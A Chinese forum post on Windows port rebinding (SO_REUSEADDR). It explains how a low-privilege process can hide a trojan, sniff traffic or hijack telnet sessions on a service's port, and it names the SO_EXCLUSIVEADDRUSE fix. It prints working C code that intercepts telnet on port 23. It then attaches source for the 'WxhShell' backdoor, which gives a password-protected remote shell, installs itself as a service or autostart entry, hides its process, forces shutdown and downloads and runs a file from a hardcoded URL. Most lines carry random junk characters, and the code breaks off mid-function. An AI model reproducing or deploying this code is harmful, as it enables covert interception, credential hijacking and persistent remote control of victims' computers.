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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -}O1dEn.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0R{dNyh{  
('wY9kvL&  
  saddr.sin_family = AF_INET; &qp r*17T  
1tTg P+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g VQjL+_W  
Nkxm m/Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `ps)0!L L`  
u H/w\v_I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .+7;)K   
-p3Re9  
  这意味着什么?意味着可以进行如下的攻击: Gj"7s8(/K|  
t!*+8Q !e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O5$/55PI  
&j(+/;A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ee4&g<X.  
?]D"k4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W;bu2ym&Q  
3)-/`iy#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   .ObZ\.I  
u6>?AW1~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G!K]W:m  
hX `}Q4(k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C<KrMRWh^  
dJT]/g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O3TQixE  
eF[63zx5*  
  #include nJ~drG}TD  
  #include Ee`1F#c  
  #include !x!07`+^u  
  #include    ?5_7;Ha  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =FE|+!>PA  
  int main() mM`wITy  
  { 6-?66g mT  
  WORD wVersionRequested; afYc\-"  
  DWORD ret; /|xra8?H[  
  WSADATA wsaData; J7r|atSk  
  BOOL val; fS~;>n%R  
  SOCKADDR_IN saddr; /rUo{j  
  SOCKADDR_IN scaddr; PaV-F_2  
  int err; $<:E'^SAS  
  SOCKET s; `PY>Hgb  
  SOCKET sc; [9 Ss# ~  
  int caddsize; jqPkc28  
  HANDLE mt; =bEda]  
  DWORD tid;   I\YV des#  
  wVersionRequested = MAKEWORD( 2, 2 ); w@N  
  err = WSAStartup( wVersionRequested, &wsaData ); h;6lK$!c  
  if ( err != 0 ) { y|'SXM  
  printf("error!WSAStartup failed!\n"); }CeCc0M  
  return -1; e{m2l2Tx:  
  }  -_`>j~  
  saddr.sin_family = AF_INET; ,o)d3g-&g  
   %-d]X{J:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 76u&EG%  
`uC@nJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ],P;WPU  
  saddr.sin_port = htons(23); v{}#?=I5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,"B+r6}EF  
  { Iu$K i  
  printf("error!socket failed!\n"); lP<:tR~K  
  return -1; '` pDngX  
  } <~ Sz04  
  val = TRUE; 7)s^8+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "~D]E7Q3y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E9;|'Vy<E  
  { (\SA *.)  
  printf("error!setsockopt failed!\n"); _q~=~nub  
  return -1; ANgw"&&>(  
  } 9W(dmde>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lbpq_=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .'Vww  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8']9$#  
s8}@=]aA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #5V9o KM  
  { I'|$}/\`  
  ret=GetLastError(); g]*#%Xa  
  printf("error!bind failed!\n"); :_O%/k1\@  
  return -1; ;<leKcvhQ&  
  } [7[0^ad  
  listen(s,2); LqA@&H  
  while(1) eut-U/3:#  
  { l5"OIq  
  caddsize = sizeof(scaddr); =Q.^c.sw  
  //接受连接请求 8QM(?A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D:erBMKv,  
  if(sc!=INVALID_SOCKET) u,&^&0K,  
  { v8y1b%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L21VS ,#I  
  if(mt==NULL) 9=UkV\m)  
  { b j'Xg  
  printf("Thread Creat Failed!\n"); >uSy  
  break; ';<0/U  
  } xXM{pd  
  } utIX  %0  
  CloseHandle(mt); Nqu>6^-z0  
  } }K&7%N4LZ  
  closesocket(s); ({q?d[q[  
  WSACleanup(); p>upA)W]  
  return 0; d!$Z (W0  
  }   2o'Wy  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z:*76PP,  
  { <N%7|t*eT  
  SOCKET ss = (SOCKET)lpParam; #W|'1 OX4  
  SOCKET sc; wYmM"60  
  unsigned char buf[4096]; /AW=5Ck-#  
  SOCKADDR_IN saddr; l?Ya"C`FL  
  long num; Z-l=\ekJ  
  DWORD val; 8|" XSN  
  DWORD ret; mFi&YpH u3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %T~ig[GstX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v&=gF/$  
  saddr.sin_family = AF_INET; tQjLOv+?=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @~%r5pz6  
  saddr.sin_port = htons(23); kOed ]>H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "T|PS 6R~  
  { A -b [>} _  
  printf("error!socket failed!\n"); QDhOhGK  
  return -1; ,]d,-)KX8  
  } 07[_.i.l  
  val = 100; o}$ EG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2* 2wY=  
  { }yz (xH  
  ret = GetLastError(); *3?'4"B{8  
  return -1; Dp':oJC  
  } 2n|K5FR()  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3J5!oF{H  
  { 'JRvP!]  
  ret = GetLastError(); 2'W<h)m)z  
  return -1; >Vwc3d  
  } hK_LEwd;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <?@NRFTe  
  { rsy'q(N[  
  printf("error!socket connect failed!\n"); F 9@h|#an  
  closesocket(sc); sn)3Z A  
  closesocket(ss); zaK#Z?V}  
  return -1; {$wjO7Glp  
  } urjjw.wZ  
  while(1) 0`[wpZ  
  { ^Gqt+K%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N9v1[~ bv_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]VD|xm:kj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [_}J F}6  
  num = recv(ss,buf,4096,0); W#hj 1  
  if(num>0) =,UWX3`f  
  send(sc,buf,num,0); Y$?9Zkp>  
  else if(num==0) LL3#5AA"k|  
  break; "*Tb" 'O  
  num = recv(sc,buf,4096,0); v uoQz\  
  if(num>0) {\:{[{qF  
  send(ss,buf,num,0); 6,0_)O}\b  
  else if(num==0) 5Er2}KZJv,  
  break; L{8xlx`  
  } E6pMT^{K  
  closesocket(ss); 9T*v9d  
  closesocket(sc); DKBSFm{~Q  
  return 0 ; <=>=.kmGt  
  } s;6CExH  
* /:x sI  
l p(8E6  
========================================================== }Nf%n@  
H{=21\a\  
下边附上一个代码,,WXhSHELL uLWh |   
E(Z8  
========================================================== mD^ jd+  
w.?:SD  
#include "stdafx.h" #6CC3TJ'k  
/N&CaH\;^$  
#include <stdio.h> C,NJb+J  
#include <string.h> /J WGifH  
#include <windows.h> ybY]e; v*O  
#include <winsock2.h> ;e1ku|>$  
#include <winsvc.h> M)2VcDy  
#include <urlmon.h> opc/e  
~NpA".PB  
#pragma comment (lib, "Ws2_32.lib") A}3=561F?5  
#pragma comment (lib, "urlmon.lib") 5nKj )RH7M  
xo&]$W8  
#define MAX_USER   100 // 最大客户端连接数 $7rq3y  
#define BUF_SOCK   200 // sock buffer !Ikt '5/  
#define KEY_BUFF   255 // 输入 buffer ]%IT|/;9Y  
hMykf4  
#define REBOOT     0   // 重启 ''0fF_P  
#define SHUTDOWN   1   // 关机 W7 #9jo  
p_${Nj  
#define DEF_PORT   5000 // 监听端口 =g|IG [V  
a-|*?{o  
#define REG_LEN     16   // 注册表键长度 Y7*U:I+N  
#define SVC_LEN     80   // NT服务名长度 Aj+2;]M  
V7Ek-2M  
// 从dll定义API iqe%=%ZR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V4KMOYqm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V0P>YQq9s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cT!\{ ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5Hw~2 ?a,  
v5QqS8u_C  
// wxhshell配置信息 2AO~HxF  
struct WSCFG { JYW)uJ  
  int ws_port;         // 监听端口 .K p  
  char ws_passstr[REG_LEN]; // 口令 c+hQSm|bf)  
  int ws_autoins;       // 安装标记, 1=yes 0=no paD!Z0v&  
  char ws_regname[REG_LEN]; // 注册表键名 7r~~Y%=C|  
  char ws_svcname[REG_LEN]; // 服务名 B4i!/@0s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g.zEn/SM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yL2o}ZbS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fR*q?,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &i$ldR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Stu4t==U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \uza=e  
,v';>.]  
}; $**r(HV  
v33dxZ'  
// default Wxhshell configuration 1ke g9]  
struct WSCFG wscfg={DEF_PORT, -6n K<e`  
    "xuhuanlingzhe", ,I%g|'2  
    1, 8q,6}mV  
    "Wxhshell", <c qbUL  
    "Wxhshell", A*}.EClH  
            "WxhShell Service", X;"Sx#U  
    "Wrsky Windows CmdShell Service", >JC  
    "Please Input Your Password: ", {ZI)nQ{  
  1, f;xkT  
  "http://www.wrsky.com/wxhshell.exe", y&?6FY  
  "Wxhshell.exe" SBIj<Yy]  
    }; ! 3 f?:M  
=[@zF9  
// 消息定义模块 h3z{(-~y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?6fnpGX@a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @AIaC-,~]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M>i9i -dU  
char *msg_ws_ext="\n\rExit."; >76\nGO  
char *msg_ws_end="\n\rQuit."; \4-"L>  
char *msg_ws_boot="\n\rReboot..."; OeS\7  
char *msg_ws_poff="\n\rShutdown..."; +gJ8{u!=k  
char *msg_ws_down="\n\rSave to "; o!{w"K  
2M68CE  
char *msg_ws_err="\n\rErr!"; Q2F+?w;,  
char *msg_ws_ok="\n\rOK!"; o'f?YZ$.  
t ]_VG  
char ExeFile[MAX_PATH];  Pyb Z)5u  
int nUser = 0; LRb{hUt=  
HANDLE handles[MAX_USER]; TiO"xMX  
int OsIsNt; jN6uT &{T  
~==>pj  
SERVICE_STATUS       serviceStatus; @EnuJe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p4-o/8rO  
]jmL]Ny^  
// 函数声明 EB2!HpuQ3  
int Install(void); -wSg2'b4E  
int Uninstall(void); 1>E<8&2[L  
int DownloadFile(char *sURL, SOCKET wsh); ZRg;/sX]  
int Boot(int flag); RkBb$q9F]  
void HideProc(void); V9dF1Hj  
int GetOsVer(void); 'F$l{iR  
int Wxhshell(SOCKET wsl); PEuIWXr  
void TalkWithClient(void *cs); 7,lq}a8z  
int CmdShell(SOCKET sock); .[3Z1v,  
int StartFromService(void); #7 q7PYG4  
int StartWxhshell(LPSTR lpCmdLine); 2gq9k}38  
j+["JXy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @++.FEf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }A7j/uy}s  
iTAx=SG  
// 数据结构和表定义 sSi6wO$  
SERVICE_TABLE_ENTRY DispatchTable[] = f'VX Y-  
{ i-6F:\;  
{wscfg.ws_svcname, NTServiceMain}, qCqFy#Ms\  
{NULL, NULL} |(q9"  
}; !WpBfd>v.I  
h >s!K9  
// 自我安装 BC&9fr  
int Install(void) h9Y%{v  
{ C@L$~iG  
  char svExeFile[MAX_PATH]; _q{c##K f  
  HKEY key; 7U2J xE  
  strcpy(svExeFile,ExeFile); =aoMii   
viMzR(JU  
// 如果是win9x系统,修改注册表设为自启动 HFaj-~b  
if(!OsIsNt) { T2!6(, s9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K3x.RQQ-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5&q8g;XiEM  
  RegCloseKey(key); vDxe/x%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B9H@e#[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8'4S8DM  
  RegCloseKey(key); }` != m  
  return 0; R]btAu;Z  
    } V*iH}Y?^p  
  } nY`RR C  
} 2VJR$Pao  
else { nw<&3k(g}  
iCcB@GlA  
// 如果是NT以上系统,安装为系统服务 ~ y;6W0x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 26k LhFS  
if (schSCManager!=0) 52,m:EhL  
{ 0 SNIYkGE  
  SC_HANDLE schService = CreateService I{*<4a7q  
  ( ,]cD  
  schSCManager, Hqn#yInA7~  
  wscfg.ws_svcname, \,7}mdQSv  
  wscfg.ws_svcdisp, pD01,5/  
  SERVICE_ALL_ACCESS, _Gjk;|Sx<I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 66I"=:  
  SERVICE_AUTO_START, ?}a;}Q 6  
  SERVICE_ERROR_NORMAL, S4h:|jLUF  
  svExeFile, *?Kr*]dnLl  
  NULL, ;F~LqC$  
  NULL, 2m35R&  
  NULL, g;8jK 8 Kh  
  NULL, YA +E\  
  NULL h}cy D7Wn  
  ); N 0= ac5  
  if (schService!=0) m$W <  
  { S!3S4:]B^  
  CloseServiceHandle(schService); - qy6Un+  
  CloseServiceHandle(schSCManager); c(n&A~*AJ%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6^"=dn6K  
  strcat(svExeFile,wscfg.ws_svcname); 'toa@5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nx^]>w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qe} `~a9P  
  RegCloseKey(key); Xp8]qH|K   
  return 0; DJ(q 7W  
    } <B6&I$Wc+  
  } d)R:9M}v  
  CloseServiceHandle(schSCManager); KB'qRnkc  
} sPMa]F(  
} V8HnUuz  
N.]qU d  
return 1; NNE<L;u  
} V %YiAr>  
I S#FiH  
// 自我卸载 Yl#Rib  
int Uninstall(void) j  S?xk  
{ KOp162X>r  
  HKEY key; 'F _8j;  
X(\fN[;  
if(!OsIsNt) { weE/TW\e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mc%Nf$XQ  
  RegDeleteValue(key,wscfg.ws_regname); UF<uU-C"  
  RegCloseKey(key); fe_yqIdk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $n+w$CI)  
  RegDeleteValue(key,wscfg.ws_regname); /~Z?27F6@  
  RegCloseKey(key); LK, bO|  
  return 0; Pp`*]Ib  
  } hDcEGU_  
} vpld*TL*  
} sZL#xZ5 Df  
else { fD07VBS yl  
?F6pEt4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _',prZ*  
if (schSCManager!=0) ,Td!|~I|j6  
{ rZfN+S,g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  mi)LP?q  
  if (schService!=0) _/s(7y!  
  { ?}RSwl  
  if(DeleteService(schService)!=0) { 6C]1Q.f;  
  CloseServiceHandle(schService); u9}1)9  
  CloseServiceHandle(schSCManager); M\Z6$<H?U  
  return 0; bV8!"{  
  } z6?)3'  
  CloseServiceHandle(schService); lmxr oHE  
  } B,K>rCZ/  
  CloseServiceHandle(schSCManager); FcRW;e8-  
} _jNj-)RB_  
} |iR T! ]  
DVK)2La  
return 1; 1e>s{  
} =7C%P%yt  
8}FzZ?DRy  
// 从指定url下载文件 Bnb#{tL  
int DownloadFile(char *sURL, SOCKET wsh) u)V#S:9]  
{ q&Gz ]  
  HRESULT hr; eOXHQjuj  
char seps[]= "/"; &p}$J )q  
char *token; n%k!vJ)]  
char *file; $`wMX{  
char myURL[MAX_PATH]; VsN pHQG]  
char myFILE[MAX_PATH]; a_ `[Lj  
GF>'\@Th  
strcpy(myURL,sURL); 7G\\{  
  token=strtok(myURL,seps); )EL!D%<A  
  while(token!=NULL) >layJt  
  { 0MkSf*  
    file=token; =Uj-^qcE  
  token=strtok(NULL,seps); "v`   
  } Z7_ zMM  
)E,\H@A  
GetCurrentDirectory(MAX_PATH,myFILE); y-j\zK  
strcat(myFILE, "\\"); 1xbK'i:-S  
strcat(myFILE, file); w7FW^6Zl  
  send(wsh,myFILE,strlen(myFILE),0); Pp| *J^U 4  
send(wsh,"...",3,0); ;Wl+ zw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *_KFW@bC:  
  if(hr==S_OK) ,Vh{gm1  
return 0; ^ mS o1?<  
else |6(ZD^w  
return 1; B"v.* %"&/  
KGWyJ  
} nIoPC[%_  
`8I&7c  
// 系统电源模块 g=]u^&  
int Boot(int flag)  k0  
{ X*,%&6O*  
  HANDLE hToken; sL@U  
  TOKEN_PRIVILEGES tkp; sPpsq  
V h k _  
  if(OsIsNt) { Tzn tO9P+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0%Z]h?EYy|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y /BJIQ  
    tkp.PrivilegeCount = 1; xritonG/F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]_8qn'7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i@B[ eta  
if(flag==REBOOT) { ~>:Z6Le@   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h?f>X"*|(  
  return 0; MUA%^)#u4Q  
} gt ";2,;X  
else { hTEx]# (  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UH"#2< |b  
  return 0; -CR?<A4mud  
} /MF! GM  
  } ?qX)ihe%k  
  else { 9&2Vm;F_  
if(flag==REBOOT) { V~hlq$jn<Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PZm:T+5H  
  return 0; ;i"*Ll>Q)  
} Y)$ ;Ax-D  
else { #."Hh<C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3` #6ACF  
  return 0; (lGaPMEU}  
} 6sE{{,OGB  
} !p[9{U->o;  
g(Io/hyj  
return 1; E^rbcGJ  
} =Me5ft w  
sj8~?O  
// win9x进程隐藏模块 PI~1GyJr@;  
void HideProc(void) [b/k3&O'  
{ tBm_YP[  
i:cXwQG}B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v NeCpf  
  if ( hKernel != NULL ) .!6>oL/iF  
  { tU^kQR!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +4,2<\fX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5hbJOo0BZ  
    FreeLibrary(hKernel); 8NU`^L:1  
  } $rhgzpZ!X_  
e{A9r@p!  
return; +MB!B9M@  
} b-Z4 Jo G  
wBInq~K_  
// 获取操作系统版本 -PnyZ2'Z  
int GetOsVer(void) Wfz\ `y  
{ gxT4PQDy  
  OSVERSIONINFO winfo; $&=p+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lj"A4i_  
  GetVersionEx(&winfo); R.s^o]vT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "ywh9cp  
  return 1; v$)q($}p  
  else /Ux*u#  
  return 0; 0}:2Q#  
} Y(+^;Y3U  
c\q   
// 客户端句柄模块 r,]#b[:.s|  
int Wxhshell(SOCKET wsl) QeDQ o  
{ ?hR7<02  
  SOCKET wsh; WnH UE  
  struct sockaddr_in client; Y];Ycj;  
  DWORD myID; 9M /SH$Qy  
`s]4AKBO  
  while(nUser<MAX_USER) =rd|0K"(r  
{ 4#(ZNP  
  int nSize=sizeof(client); 9~0^PzTA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); teW6;O_  
  if(wsh==INVALID_SOCKET) return 1; )%X;^(zKM  
#$1og=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kip`Myw+  
if(handles[nUser]==0) W{5:'9,  
  closesocket(wsh); KZbR3mi,  
else 3loY qeP  
  nUser++; ?,=f\Fz!  
  } ycJg%]F*5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tj*y)28-  
Y2R\]FrT  
  return 0; ]O TH"*j  
} E_1="&p  
m3 ^/: <  
// 关闭 socket {3Y )rY!z  
void CloseIt(SOCKET wsh) ]}mxY vu_i  
{ GI7=x h  
closesocket(wsh); '>k{tPi.  
nUser--; Dw2Q 'E  
ExitThread(0); \@~UDP]7  
} K?4FT$9G  
QJW`}`R  
// 客户端请求句柄 M|[ZpM+  
void TalkWithClient(void *cs) 5y} v{Ijt  
{ !$g+F(:(c  
-z:&*=  
  SOCKET wsh=(SOCKET)cs; }K(o9$V ^!  
  char pwd[SVC_LEN]; UzKFf&-:;K  
  char cmd[KEY_BUFF]; .la&P,j_L  
char chr[1]; `aqrSH5^h  
int i,j; A K/z6XGy  
70B)|<$  
  while (nUser < MAX_USER) { k]rLjcB  
kLS(w??T  
if(wscfg.ws_passstr) { tehUD&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .5Q:Xp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l+wc '= ]  
  //ZeroMemory(pwd,KEY_BUFF); 8z<r.joxC  
      i=0; ^# A.@  
  while(i<SVC_LEN) { 1# t6`N]?V  
L fl-!1  
  // 设置超时 ?`zgq>R}w[  
  fd_set FdRead; 1j\aH&)GH  
  struct timeval TimeOut; =/+#PVO  
  FD_ZERO(&FdRead); X['2b78k  
  FD_SET(wsh,&FdRead); nN3$\gHp8i  
  TimeOut.tv_sec=8; [ut#:1h^  
  TimeOut.tv_usec=0; Ze!92g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~~8rI[/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,}C8;/V  
^ie^VY($  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A%vsno!  
  pwd=chr[0]; AaN"7.Z/  
  if(chr[0]==0xd || chr[0]==0xa) { Ae?e 70bY  
  pwd=0; bQa oMZB  
  break; P|^$kK  
  } fj 4^VXD  
  i++; n~Szf  
    } ACjf\4Q  
GIv){[i  
  // 如果是非法用户,关闭 socket K` nJVc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y'Z+, CNf  
} HXJ9xkrr  
-U>7 H`5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6U,fz#<,}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C;a@Jjor'  
>Jm"2U}lZW  
while(1) { u8OxD  
aEx(rLd+  
  ZeroMemory(cmd,KEY_BUFF); idJh^YD  
"]t>ZT:OJ  
      // 自动支持客户端 telnet标准   IX?ZbtdX$`  
  j=0; }`9`JmNM  
  while(j<KEY_BUFF) { C$#W{2x%6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 16@);Ot  
  cmd[j]=chr[0]; "A]Y~iQ  
  if(chr[0]==0xa || chr[0]==0xd) { zfjTQMaxh  
  cmd[j]=0; (:Cc3  
  break; %^9:%ytt  
  } <]8^J}8T{D  
  j++; ?An,-N-ezf  
    } [U_[</L7  
0k?Sq#7q  
  // 下载文件 C>*n9l[M~  
  if(strstr(cmd,"http://")) { RI@*O6\/I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qa$NBNxKl  
  if(DownloadFile(cmd,wsh))  v_sm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7aQcP  
  else 7nz!0I^   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hXX1<~k  
  } 64D%_8#m  
  else { NygI67  
>IR$e=5$  
    switch(cmd[0]) { vSM_]fn  
  2q %K)h  
  // 帮助 ARx0zI%N  
  case '?': { JCQ:+eqt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \8"QvC]  
    break; ;aK.%-s-Z  
  } W@B7yP7Rz  
  // 安装 \>)f5 gV@  
  case 'i': { Sl.o,W^  
    if(Install()) Ko}2%4on  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :pd&dg!5  
    else Bp0bY9xLg_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <lOaor c  
    break; (^H5EeGV{  
    } cw+g z!!  
  // 卸载 w &vhWq  
  case 'r': { m4gU*?  
    if(Uninstall()) {Bvm'lq`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n(jjvLf  
    else TmiWjQv`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M7VID6J.  
    break; +5*vABvCu  
    } y`b\;kd  
  // 显示 wxhshell 所在路径 + v[O  
  case 'p': { wZv-b*4  
    char svExeFile[MAX_PATH]; n+quSF)  
    strcpy(svExeFile,"\n\r"); ,#aS/+;[)  
      strcat(svExeFile,ExeFile); 6+ 8mV8{-8  
        send(wsh,svExeFile,strlen(svExeFile),0); \/,g VT  
    break; 1D$::{h  
    } d_iY&-gq/  
  // 重启 J v<$*TVS0  
  case 'b': { Ofm5[q=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]xR4->eix  
    if(Boot(REBOOT)) g9qC{x d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _j 5N=I{U  
    else { sPpS~wk*  
    closesocket(wsh); nx;$dxx_Ws  
    ExitThread(0); 4p x_ZD#J  
    } E!@/NE\-  
    break; E|,30Z+  
    } k2OM="Ei}  
  // 关机 y#bK,}  
  case 'd': { jvO3_Zt9  
